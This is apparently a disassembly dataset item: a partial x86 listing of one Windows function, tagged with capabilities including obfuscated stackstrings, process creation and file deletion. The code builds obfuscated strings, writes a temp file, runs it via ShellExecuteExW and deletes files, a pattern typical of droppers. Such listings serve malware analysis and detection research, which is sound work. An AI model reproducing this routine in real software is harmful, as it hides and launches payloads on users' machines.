Function at 0x405660
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Delete file
Get common file path
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c73d
mov eax, dword fs:[0]
push eax
mov eax, 0x1724
call fcn.00418fa0
mov eax, dword [0x425494]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
and dword [ebp - 0x1630], 0
call fcn.0040998b
mov dword [ebp - 0x1634], eax
mov dword [eax], eax
mov eax, dword [ebp - 0x1634]
mov dword [eax + 4], eax
mov eax, dword [ebp - 0x1634]
mov dword [eax + 8], eax
mov eax, dword [ebp - 0x1634]
xor ebx, ebx
inc ebx
mov byte [eax + 0x44], bl
mov eax, dword [ebp - 0x1634]
mov byte [eax + 0x45], bl
and dword [ebp - 4], 0
lea eax, [ebp - 0x1638]
push eax
call fcn.00408f44
lea eax, [ebp - 0x1638]
push eax
call fcn.00409370
lea eax, [ebp - 0xfec]
push eax
mov dword [ebp - 4], ebx
call fcn.00404b59
pop ecx
mov dword [ebp - 0x15f0], eax
lea eax, [ebp - 0x1078]
push eax
mov byte [ebp - 4], 2
call fcn.00404cab
pop ecx
mov dword [ebp - 0x1604], eax
lea eax, [ebp - 0x1040]
push eax
mov byte [ebp - 4], 3
call fcn.00401f72
pop ecx
mov dword [ebp - 0x15e8], eax
lea eax, [ebp - 0x1008]
push eax
mov byte [ebp - 4], 4
call fcn.00404b8d
pop ecx
mov dword [ebp - 0x15e0], eax
lea eax, [ebp - 0xfd0]
push eax
mov byte [ebp - 4], 5
call fcn.00404c77
pop ecx
mov dword [ebp - 0x15dc], eax
lea eax, [ebp - 0xf98]
push eax
mov byte [ebp - 4], 6
call fcn.00404bf5
pop ecx
mov dword [ebp - 0x15f4], eax
lea eax, [ebp - 0xf60]
push eax
mov byte [ebp - 4], 7
call fcn.00404c0f
pop ecx
mov dword [ebp - 0x15e4], eax
lea eax, [ebp - 0xf28]
push eax
mov byte [ebp - 4], 8
call fcn.00404cc5
pop ecx
mov dword [ebp - 0x15ec], eax
mov byte [ebp - 4], 9
lea eax, [ebp - 0xef0]
push eax
call fcn.00404ba7
pop ecx
mov dword [ebp - 0x15fc], eax
lea eax, [ebp - 0xdd8]
push eax
mov byte [ebp - 4], 0xa
call fcn.00404ba7
pop ecx
mov dword [ebp - 0x1608], eax
lea eax, [ebp - 0xd68]
push eax
mov byte [ebp - 4], 0xb
call fcn.00404c43
pop ecx
mov dword [ebp - 0x1600], eax
lea eax, [ebp - 0xd4c]
push eax
mov byte [ebp - 4], 0xc
call fcn.00404bc1
pop ecx
mov dword [ebp - 0x15f8], eax
lea eax, [ebp - 0xda0]
push eax
mov byte [ebp - 4], 0xd
call fcn.00404b59
pop ecx
mov dword [ebp - 0x160c], eax
lea eax, [ebp - 0xd84]
push eax
mov byte [ebp - 4], 0xe
call fcn.00404bdb
pop ecx
mov dword [ebp - 0x1628], eax
lea eax, [ebp - 0xe80]
push eax
mov byte [ebp - 4], 0xf
call fcn.00404c91
pop ecx
mov dword [ebp - 0x161c], eax
lea eax, [ebp - 0xe48]
push eax
mov byte [ebp - 4], 0x10
call fcn.00404c29
pop ecx
mov dword [ebp - 0x1624], eax
lea eax, [ebp - 0xe2c]
push eax
mov byte [ebp - 4], 0x11
call fcn.00404b8d
pop ecx
mov dword [ebp - 0x1620], eax
lea eax, [ebp - 0xf44]
push eax
mov byte [ebp - 4], 0x12
call fcn.00404c5d
pop ecx
mov dword [ebp - 0x1618], eax
lea eax, [ebp - 0x1024]
push eax
mov byte [ebp - 4], 0x13
call fcn.00401e6e
pop ecx
mov esi, eax
lea eax, [ebp - 0xd30]
push eax
mov byte [ebp - 4], 0x14
call fcn.00404b73
pop ecx
mov dword [ebp - 0x1614], eax
lea eax, [ebp - 0xf0c]
push eax
mov byte [ebp - 4], 0x15
call fcn.00404bdb
pop ecx
mov dword [ebp - 0x163c], eax
lea eax, [ebp - 0xfb4]
push eax
mov byte [ebp - 4], 0x16
call fcn.00401fda
pop ecx
mov dword [ebp - 0x15d8], eax
lea eax, [ebp - 0xed4]
push eax
mov byte [ebp - 4], 0x17
call fcn.00404c0f
pop ecx
mov dword [ebp - 0x1610], eax
lea eax, [ebp - 0x105c]
push eax
mov byte [ebp - 4], 0x18
call fcn.00404cc5
pop ecx
mov edi, eax
lea eax, [ebp - 0xe9c]
push eax
mov byte [ebp - 4], 0x19
call fcn.00401ed6
pop ecx
push eax
push 0x420fa4
lea eax, [ebp - 0xe10]
mov byte [ebp - 4], 0x1a
call fcn.00408ba5
mov ecx, eax
mov eax, edi
lea edi, [ebp - 0xdf4]
mov byte [ebp - 4], 0x1b
call fcn.00404024
mov ecx, eax
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x1610]
lea edi, [ebp - 0xf7c]
call fcn.00404024
mov ecx, eax
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x15d8]
lea edi, [ebp - 0xe64]
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x163c]
lea edi, [ebp - 0x1158]
mov byte [ebp - 4], 0x1e
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1614]
lea edi, [ebp - 0x1120]
mov byte [ebp - 4], 0x1f
call fcn.00404024
mov ecx, eax
mov eax, esi
lea edi, [ebp - 0x10e8]
mov byte [ebp - 4], 0x20
call fcn.00404024
mov esi, 0x420fa0
push esi
mov byte [ebp - 4], 0x21
push eax
lea eax, [ebp - 0x11ac]
call fcn.0040406e
mov ecx, eax
mov eax, dword [ebp - 0x1618]
lea edi, [ebp - 0x121c]
mov byte [ebp - 4], 0x22
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1620]
lea edi, [ebp - 0x1174]
mov byte [ebp - 4], 0x23
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1624]
lea edi, [ebp - 0x1254]
mov byte [ebp - 4], 0x24
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x161c]
lea edi, [ebp - 0x113c]
mov byte [ebp - 4], 0x25
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1628]
lea edi, [ebp - 0x11e4]
mov byte [ebp - 4], 0x26
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x160c]
lea edi, [ebp - 0x1104]
mov byte [ebp - 4], 0x27
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15f8]
lea edi, [ebp - 0x128c]
mov byte [ebp - 4], 0x28
call fcn.00404024
push esi
push eax
lea eax, [ebp - 0x10cc]
mov byte [ebp - 4], 0x29
call fcn.0040406e
mov ecx, eax
mov eax, dword [ebp - 0x1600]
lea edi, [ebp - 0x12a8]
mov byte [ebp - 4], 0x2a
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1608]
lea edi, [ebp - 0x1270]
mov byte [ebp - 4], 0x2b
call fcn.00404024
mov esi, 0x420f9c
push esi
push eax
lea eax, [ebp - 0x11c8]
mov byte [ebp - 4], 0x2c
call fcn.0040406e
mov ecx, eax
mov eax, dword [ebp - 0x15fc]
lea edi, [ebp - 0x1190]
mov byte [ebp - 4], 0x2d
call fcn.00404024
push esi
push eax
lea eax, [ebp - 0x1238]
mov byte [ebp - 4], 0x2e
call fcn.0040406e
mov ecx, eax
mov eax, dword [ebp - 0x15ec]
lea edi, [ebp - 0x1094]
mov byte [ebp - 4], 0x2f
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15e4]
lea edi, [ebp - 0x10b0]
mov byte [ebp - 4], 0x30
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15f4]
lea edi, [ebp - 0xdbc]
mov byte [ebp - 4], 0x31
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15dc]
lea edi, [ebp - 0xc6c]
mov byte [ebp - 4], 0x32
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15e0]
lea edi, [ebp - 0xcc0]
mov byte [ebp - 4], 0x33
call fcn.00404024
push 0x420f5c
push eax
lea eax, [ebp - 0xcf8]
mov byte [ebp - 4], 0x34
call fcn.0040406e
add esp, 0x30
mov ecx, eax
mov eax, dword [ebp - 0x15e8]
lea edi, [ebp - 0xcdc]
mov byte [ebp - 4], 0x35
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1604]
lea edi, [ebp - 0xc88]
mov byte [ebp - 4], 0x36
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15f0]
lea edi, [ebp - 0xeb8]
mov byte [ebp - 4], 0x37
call fcn.00404024
push ebx
xor edi, edi
lea esi, [ebp - 0xc88]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcdc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcf8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcc0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xc6c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdbc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10b0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1094]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1238]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1190]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x11c8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1270]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x12a8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10cc]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x128c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1104]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x11e4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x113c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1254]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1174]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x121c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x11ac]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x10e8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1120]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1158]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe64]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf7c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdf4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe10]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe9c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x105c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xed4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfb4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf0c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd30]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1024]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf44]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe2c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe48]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe80]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd84]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xda0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd4c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd68]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdd8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xef0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf28]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf60]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf98]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfd0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1008]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1040]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1078]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfec]
mov byte [ebp - 4], 0x6e
call fcn.004017e3
lea eax, [ebp - 0xeb8]
push eax
lea eax, [ebp - 0xca4]
push eax
call fcn.00409d30
pop ecx
pop ecx
mov edx, eax
lea ecx, [ebp - 0xd14]
mov byte [ebp - 4], 0x6f
call fcn.00401055
mov ebx, eax
lea eax, [ebp - 0xeb8]
mov byte [ebp - 4], 0x70
call fcn.004015fd
xor ebx, ebx
inc ebx
push ebx
lea esi, [ebp - 0xd14]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xca4]
mov byte [ebp - 4], 0x6e
call fcn.004017e3
and dword [ebp - 0x15d8], edi
push 4
lea eax, [ebp - 0x15d8]
push eax
mov esi, 0x42010c
push esi
push 0x420114
call fcn.004022e5
add esp, 0x10
test al, al
je 0x405ed6
cmp dword [ebp - 0x15d8], ebx
jne 0x405ed6
call fcn.004021fc
test al, al
je 0x405ed6
mov eax, 0x420fac
jmp 0x405f09
and dword [ebp - 0x15d8], edi
push 4
lea eax, [ebp - 0x15d8]
push eax
push esi
push 0x42014c
call fcn.004022e5
add esp, 0x10
test al, al
je 0x405f04
mov eax, 0x420214
cmp dword [ebp - 0x15d8], ebx
je 0x405f09
mov eax, 0x420f5c
push eax
lea eax, [ebp - 0x12c4]
call fcn.004014cb
push 0x420fb0
lea eax, [ebp - 0xcdc]
mov byte [ebp - 4], 0x71
call fcn.004014cb
push 0x420fc4
lea eax, [ebp - 0xc88]
mov byte [ebp - 4], 0x72
call fcn.004014cb
lea eax, [ebp - 0xc88]
push eax
lea edx, [ebp - 0xcdc]
lea ecx, [ebp - 0x1638]
mov byte [ebp - 4], 0x73
call fcn.00409893
push ebx
xor edi, edi
lea esi, [ebp - 0xc88]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xcdc]
mov byte [ebp - 4], 0x71
call fcn.004017e3
push 0x420fd0
lea eax, [ebp - 0xc88]
call fcn.004014cb
lea eax, [ebp - 0xc88]
push eax
lea edx, [ebp - 0x12c4]
lea ecx, [ebp - 0x1638]
mov byte [ebp - 4], 0x74
call fcn.00409893
push ebx
lea esi, [ebp - 0xc88]
mov byte [ebp - 4], 0x71
call fcn.004017e3
lea edx, [ebp - 0xca4]
lea ecx, [ebp - 0x1638]
call fcn.0040976d
push edi
push eax
or eax, 0xffffffff
lea esi, [ebp - 0xeb8]
mov byte [ebp - 4], 0x75
call fcn.0040445a
push ebx
lea esi, [ebp - 0xca4]
mov byte [ebp - 4], 0x71
call fcn.004017e3
lea eax, [ebp - 0xc50]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x40741f
lea eax, [ebp - 0x218]
push eax
push edi
push 0x420308
lea eax, [ebp - 0xc50]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x40741f
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x420318
lea eax, [ebp - 0x218]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp + eax*2 - 0x220]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x528]
push eax
call esi
push 0x420324
lea eax, [ebp - 0x528]
push eax
call ebx
lea eax, [ebp + eax*2 - 0x530]
push eax
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x1730]
push eax
call fcn.00407b4e
lea eax, [ebp - 0x1730]
push eax
mov byte [ebp - 4], 0x76
call fcn.0040893f
pop ecx
lea eax, [ebp - 0x172c]
call fcn.0040843d
test eax, eax
jne 0x4060d2
mov eax, dword [ebp - 0x1730]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0x1730]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], edi
jne 0x4060c1
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x4060d2
push edi
call fcn.00404a53
mov esi, 0x420f40
lea eax, [ebp - 0xd14]
push esi
push eax
lea ebx, [ebp - 0xeb8]
call fcn.00408b3d
push esi
push eax
lea eax, [ebp - 0xca4]
mov byte [ebp - 4], 0x77
call fcn.0040406e
lea ecx, [ebp - 0x218]
push ecx
push eax
lea eax, [ebp - 0xc88]
mov byte [ebp - 4], 0x78
call fcn.0040406e
add esp, 0x18
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
lea esi, [ebp - 0xca4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd14]
mov byte [ebp - 4], 0x7b
call fcn.004017e3
push 4
pop esi
push 0x38
xor edi, edi
lea eax, [ebp - 0x167c]
push edi
push eax
dec esi
call fcn.0040cd10
lea eax, [ebp - 0x528]
add esp, 0xc
cmp dword [ebp - 0xc74], 8
mov dword [ebp - 0x1670], eax
mov eax, dword [ebp - 0xc88]
mov dword [ebp - 0x1680], 0x3c
mov dword [ebp - 0x167c], 0x40
mov dword [ebp - 0x1678], edi
mov dword [ebp - 0x1674], edi
jae 0x40618f
lea eax, [ebp - 0xc88]
mov dword [ebp - 0x166c], eax
lea eax, [ebp - 0x1680]
push eax
mov dword [ebp - 0x1668], edi
mov dword [ebp - 0x1664], 5
mov dword [ebp - 0x1660], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0xffffffffffffffff
push dword [ebp - 0x1648]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4061e0
cmp esi, edi
jge 0x406139
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x420f40
lea eax, [ebp - 0x218]
push eax
call esi
lea eax, [ebp - 0x1638]
push eax
lea ecx, [ebp - 0xcdc]
call fcn.004095f0
mov byte [ebp - 4], 0x7c
cmp dword [ebp - 0xcc8], 8
mov eax, dword [ebp - 0xcdc]
jae 0x40622c
lea eax, [ebp - 0xcdc]
push eax
lea eax, [ebp - 0xa48]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov word [ebp - 0x842], ax
lea eax, [ebp - 0xa48]
push eax
lea eax, [ebp - 0x218]
push eax
call esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x630]
push eax
call fcn.0040dec5
add esp, 0xc
lea eax, [ebp - 0x738]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4073dc
lea eax, [ebp - 0x630]
push eax
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x44
pop esi
push esi
lea eax, [ebp - 0x1688]
push edi
push eax
call fcn.0040cd10
add esp, 0xc
push 0x10
lea eax, [ebp - 0xdb0]
push edi
push eax
mov dword [ebp - 0x1688], esi
call fcn.0040cd10
lea eax, [ebp - 0xdf4]
add esp, 0xc
push eax
call fcn.00404b59
pop ecx
mov esi, eax
lea eax, [ebp - 0xe10]
push eax
mov byte [ebp - 4], 0x7d
call fcn.00404d13
pop ecx
mov dword [ebp - 0x15f8], eax
lea eax, [ebp - 0xe9c]
push eax
mov byte [ebp - 4], 0x7e
call fcn.00404c43
pop ecx
mov dword [ebp - 0x1600], eax
lea eax, [ebp - 0x105c]
push eax
mov byte [ebp - 4], 0x7f
call fcn.00404b73
pop ecx
mov dword [ebp - 0x1608], eax
lea eax, [ebp - 0xed4]
push eax
mov byte [ebp - 4], 0x80
call fcn.00404bdb
pop ecx
mov dword [ebp - 0x15fc], eax
lea eax, [ebp - 0xfb4]
push eax
mov byte [ebp - 4], 0x81
call fcn.00404d13
pop ecx
mov dword [ebp - 0x15ec], eax
lea eax, [ebp - 0xf0c]
push eax
mov byte [ebp - 4], 0x82
call fcn.00401e88
pop ecx
mov dword [ebp - 0x15e4], eax
lea eax, [ebp - 0xd30]
push eax
mov byte [ebp - 4], 0x83
call fcn.00401f3e
pop ecx
mov dword [ebp - 0x15f4], eax
lea eax, [ebp - 0x1024]
push eax
mov byte [ebp - 4], 0x84
call fcn.00401ed6
pop ecx
mov dword [ebp - 0x15dc], eax
lea eax, [ebp - 0xf44]
push eax
mov byte [ebp - 4], 0x85
call fcn.00401f24
pop ecx
mov dword [ebp - 0x15e0], eax
lea eax, [ebp - 0xe2c]
push eax
mov byte [ebp - 4], 0x86
call fcn.00401ea2
pop ecx
mov dword [ebp - 0x15e8], eax
lea eax, [ebp - 0xe48]
push eax
mov byte [ebp - 4], 0x87
call fcn.00401fda
pop ecx
mov dword [ebp - 0x1604], eax
lea eax, [ebp - 0xe80]
push eax
mov byte [ebp - 4], 0x88
call fcn.00401f0a
pop ecx
mov dword [ebp - 0x15f0], eax
lea eax, [ebp - 0xd84]
push eax
mov byte [ebp - 4], 0x89
call fcn.00401ebc
pop ecx
mov edi, eax
lea eax, [ebp - 0xda0]
push eax
mov byte [ebp - 4], 0x8a
call fcn.00401e88
pop ecx
mov ecx, eax
mov eax, edi
lea edi, [ebp - 0xd4c]
mov byte [ebp - 4], 0x8b
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15f0]
lea edi, [ebp - 0xd68]
mov byte [ebp - 4], 0x8c
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1604]
lea edi, [ebp - 0xdd8]
mov byte [ebp - 4], 0x8d
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15e8]
lea edi, [ebp - 0xef0]
mov byte [ebp - 4], 0x8e
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15e0]
lea edi, [ebp - 0xf28]
mov byte [ebp - 4], 0x8f
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15dc]
lea edi, [ebp - 0xf60]
mov byte [ebp - 4], 0x90
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15f4]
mov byte [ebp - 4], 0x91
lea edi, [ebp - 0xf98]
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15e4]
lea edi, [ebp - 0xfd0]
mov byte [ebp - 4], 0x92
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15ec]
lea edi, [ebp - 0x1008]
mov byte [ebp - 4], 0x93
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15fc]
lea edi, [ebp - 0x1040]
mov byte [ebp - 4], 0x94
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1608]
lea edi, [ebp - 0x1078]
mov byte [ebp - 4], 0x95
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x1600]
lea edi, [ebp - 0xfec]
mov byte [ebp - 4], 0x96
call fcn.00404024
mov ecx, eax
mov eax, dword [ebp - 0x15f8]
lea edi, [ebp - 0xd14]
mov byte [ebp - 4], 0x97
call fcn.00404024
push 0x420214
push eax
lea eax, [ebp - 0xca4]
mov byte [ebp - 4], 0x98
call fcn.0040406e
pop ecx
pop ecx
mov ecx, eax
mov eax, esi
lea edi, [ebp - 0xc6c]
mov byte [ebp - 4], 0x99
call fcn.00404024
push ebx
xor edi, edi
lea esi, [ebp - 0xca4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd14]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfec]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1078]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1040]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1008]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfd0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf98]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf60]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf28]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xef0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdd8]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd68]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd4c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xda0]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd84]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe80]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe48]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe2c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf44]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x1024]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xd30]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xf0c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xfb4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xed4]
call fcn.004017e3
push ebx
lea esi, [ebp - 0x105c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe9c]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xe10]
call fcn.004017e3
push ebx
lea esi, [ebp - 0xdf4]
mov byte [ebp - 4], 0xb7
call fcn.004017e3
lea eax, [ebp - 0xc6c]
push eax
lea eax, [ebp - 0xf7c]
push eax
call fcn.00409d30
pop ecx
pop ecx
mov ebx, eax
lea eax, [ebp - 0xc6c]
mov byte [ebp - 4], 0xb8
call fcn.004015fd
push 1
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0xb7
call fcn.004017e3
lea edx, [ebp - 0xc6c]
lea ecx, [ebp - 0xe64]
call fcn.00401055
mov ebx, eax
lea eax, [ebp - 0xc6c]
mov byte [ebp - 4], 0xb9
call fcn.004015fd
push 1
lea esi, [ebp - 0xe64]
mov byte [ebp - 4], 0xb7
call fcn.004017e3
cmp dword [ebp - 0xc58], 8
mov eax, dword [ebp - 0xc6c]
jae 0x40673e
lea eax, [ebp - 0xc6c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x15d8], eax
test eax, eax
jne 0x406756
push 1
jmp 0x4073cc
lea eax, [ebp - 0x1200]
push eax
call fcn.0040212c
pop ecx
mov esi, eax
lea eax, [ebp - 0x1468]
push eax
mov byte [ebp - 4], 0xba
call fcn.00404dfd
pop ecx
mov edi, eax
lea eax, [ebp - 0x1510]
push eax
mov byte [ebp - 4], 0xbb
call fcn.0040205c
pop ecx
mov dword [ebp - 0x160c], eax
lea eax, [ebp - 0x1430]
push eax
mov byte [ebp - 4], 0xbc
call fcn.004021c8
pop ecx
mov dword [ebp - 0x15f8], eax
lea eax, [ebp - 0x15b8]
push eax
mov byte [ebp - 4], 0xbd
call fcn.004021ae
pop ecx
mov dword [ebp - 0x1600], eax
lea eax, [ebp - 0x13f8]
push eax
mov byte [ebp - 4], 0xbe
call fcn.00404e31
pop ecx
mov dword [ebp - 0x1608], eax
lea eax, [ebp - 0x14d8]
push eax
mov byte [ebp - 4], 0xbf
call fcn.0040205c
pop ecx
mov dword [ebp - 0x15fc], eax
lea eax, [ebp - 0x13c0]
push eax
mov byte [ebp - 4], 0xc0
call fcn.00402160
pop ecx
mov dword [ebp - 0x15ec], eax
lea eax, [ebp - 0x1548]
push eax
mov byte [ebp - 4], 0xc1
call fcn.00404de3
pop ecx
mov dword [ebp - 0x15e4], eax
lea eax, [ebp - 0x1388]
push eax
mov byte [ebp - 4], 0xc2
call fcn.00404dfd
pop ecx
mov dword [ebp - 0x15f4], eax
lea eax, [ebp - 0x14a0]
push eax
mov byte [ebp - 4], 0xc3
call fcn.004020c4
pop ecx
mov dword [ebp - 0x15dc], eax
lea eax, [ebp - 0x1350]
push eax
mov byte [ebp - 4], 0xc4
call fcn.004021c8
pop ecx
mov dword [ebp - 0x15e0], eax
lea eax, [ebp - 0x1580]
push eax
mov byte [ebp - 4], 0xc5
call fcn.0040217a
pop ecx
mov dword [ebp - 0x15e8], eax
lea eax, [ebp - 0x12fc]
push eax
mov byte [ebp - 4], 0xc6
call fcn.00404d95
pop ecx
mov dword [ebp - 0x1604], eax
lea eax, [ebp - 0x10b0]
push eax
mov byte [ebp - 4], 0xc7
call fcn.0040200e
pop ecx
mov dword [ebp - 0x15f0], eax
lea eax, [ebp - 0x1094]
push eax
mov byte [ebp - 4], 0xc8
call fcn.00404daf
pop ecx
push eax
push 0x42022c
lea ebx, [ebp - 0x1238]
mov byte [ebp - 4], 0xc9
call fcn.0040409f
push 0x4202fc
push eax
lea eax, [ebp - 0x1190]
mov byte [ebp - 4], 0xca
call fcn.00404144
mov ecx, eax
mov eax, dword [ebp - 0x15f0]
lea edx, [ebp - 0x11c8]
mov byte [ebp - 4], 0xcb
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x1604]
lea edx, [ebp - 0x1270]
mov byte [ebp - 4], 0xcc
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15e8]
lea edx, [ebp - 0x12a8]
mov byte [ebp - 4], 0xcd
call fcn.004040dc
push 0x420228
push eax
lea eax, [ebp - 0x10cc]
mov byte [ebp - 4], 0xce
call fcn.00404144
mov ecx, eax
mov eax, dword [ebp - 0x15e0]
lea edx, [ebp - 0x128c]
mov byte [ebp - 4], 0xcf
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15dc]
lea edx, [ebp - 0x1104]
mov byte [ebp - 4], 0xd0
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15f4]
mov byte [ebp - 4], 0xd1
lea edx, [ebp - 0x11e4]
call fcn.004040dc
mov ecx, eax
mov eax, dword [ebp - 0x15e4]
lea edx, [ebp - 0x113c]
mov byte [ebp - 4], 0xd2
